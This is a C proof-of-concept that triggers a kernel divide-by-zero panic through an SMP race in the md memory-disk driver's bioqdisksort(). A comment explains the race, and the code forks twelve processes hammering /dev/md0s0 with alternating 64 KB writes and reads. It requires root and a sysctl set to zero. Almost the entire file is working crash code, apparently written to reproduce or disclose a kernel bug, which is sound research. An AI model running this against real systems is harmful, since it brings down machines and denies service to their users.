/*
 * DF-0026 div0 trigger via md0 SMP race.
 *
 * mdstrategy_malloc() (sys/dev/disk/md/md.c:201) protects its bio_queue with
 * only crit_enter() (per-CPU, not a global lock). vtblk_strategy uses
 * lwkt_serialize; md does NOT. So concurrent mdstrategy() calls from different
 * CPUs both enter bioqdisksort() unsynchronized. If a WRITE sets
 * bioq->transition and a READ then enters bioqdisksort() while that WRITE is
 * still queued (during the drain loop's memcpy window), the READ hits:
 *     ++bioq->reorder;
 *     if (bioq->reorder % bioq_reorder_minor_interval == 0)   // sysctl==0 -> #DE
 *
 * Strategy: many processes doing alternating pwrite()+pread() on /dev/md0s0
 * (raw, 9.77 MB malloc disk, unmounted) with large blocks to widen the memcpy
 * window. Eventually a READ races in while a WRITE is queued -> panic.
 *
 * Requires: kern.bioq_reorder_minor_interval already 0 (caller sets it).
 * Run as root (device is root:operator, raw I/O).
 *
 * WARNING: panics the kernel. Disposable VM only.
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

#define NPROC    12
#define ITERS    50000
#define BLKSIZE  65536

static volatile sig_atomic_t go = 0;
static void setgo(int sig) { go = 1; }

static void worker(int idx)
{
	char wbuf[BLKSIZE], rbuf[BLKSIZE];
	int fd, i, nwrites = 0, nreads = 0;
	off_t off;

	memset(wbuf, idx & 0xff, sizeof(wbuf));
	fd = open("/dev/md0s0", O_RDWR);
	if (fd < 0) { perror("open md0s0"); _exit(1); }

	while (!go) { }

	for (i = 0; i < ITERS; i++) {
		off = ((off_t)(i * 7919 + idx * 104729) % (9*1024*1024 / BLKSIZE)) * BLKSIZE;
		if (i & 1) {
			/* WRITE bio -> mdstrategy(WRITE) -> sets transition */
			if (pwrite(fd, wbuf, sizeof(wbuf), off) != sizeof(wbuf))
				break;
			nwrites++;
		} else {
			/* READ bio -> mdstrategy(READ) -> if transition!=NULL, hits div0 */
			if (pread(fd, rbuf, sizeof(rbuf), off) != sizeof(rbuf))
				break;
			nreads++;
		}
	}
	close(fd);
	_exit(0);
}

int main(void)
{
	int i, status;
	pid_t pids[NPROC];

	signal(SIGUSR1, setgo);

	printf("[*] forking %d concurrent md0 workers (sysctl=%d)\n", NPROC, 0);
	for (i = 0; i < NPROC; i++) {
		pids[i] = fork();
		if (pids[i] == 0) worker(i);
		if (pids[i] < 0) { perror("fork"); _exit(1); }
	}

	usleep(100000);
	printf("[*] GO\n");
	for (i = 0; i < NPROC; i++) kill(pids[i], SIGUSR1);

	for (i = 0; i < NPROC; i++) wait(&status);
	printf("[*] all workers exited (no panic)\n");
	return 0;
}
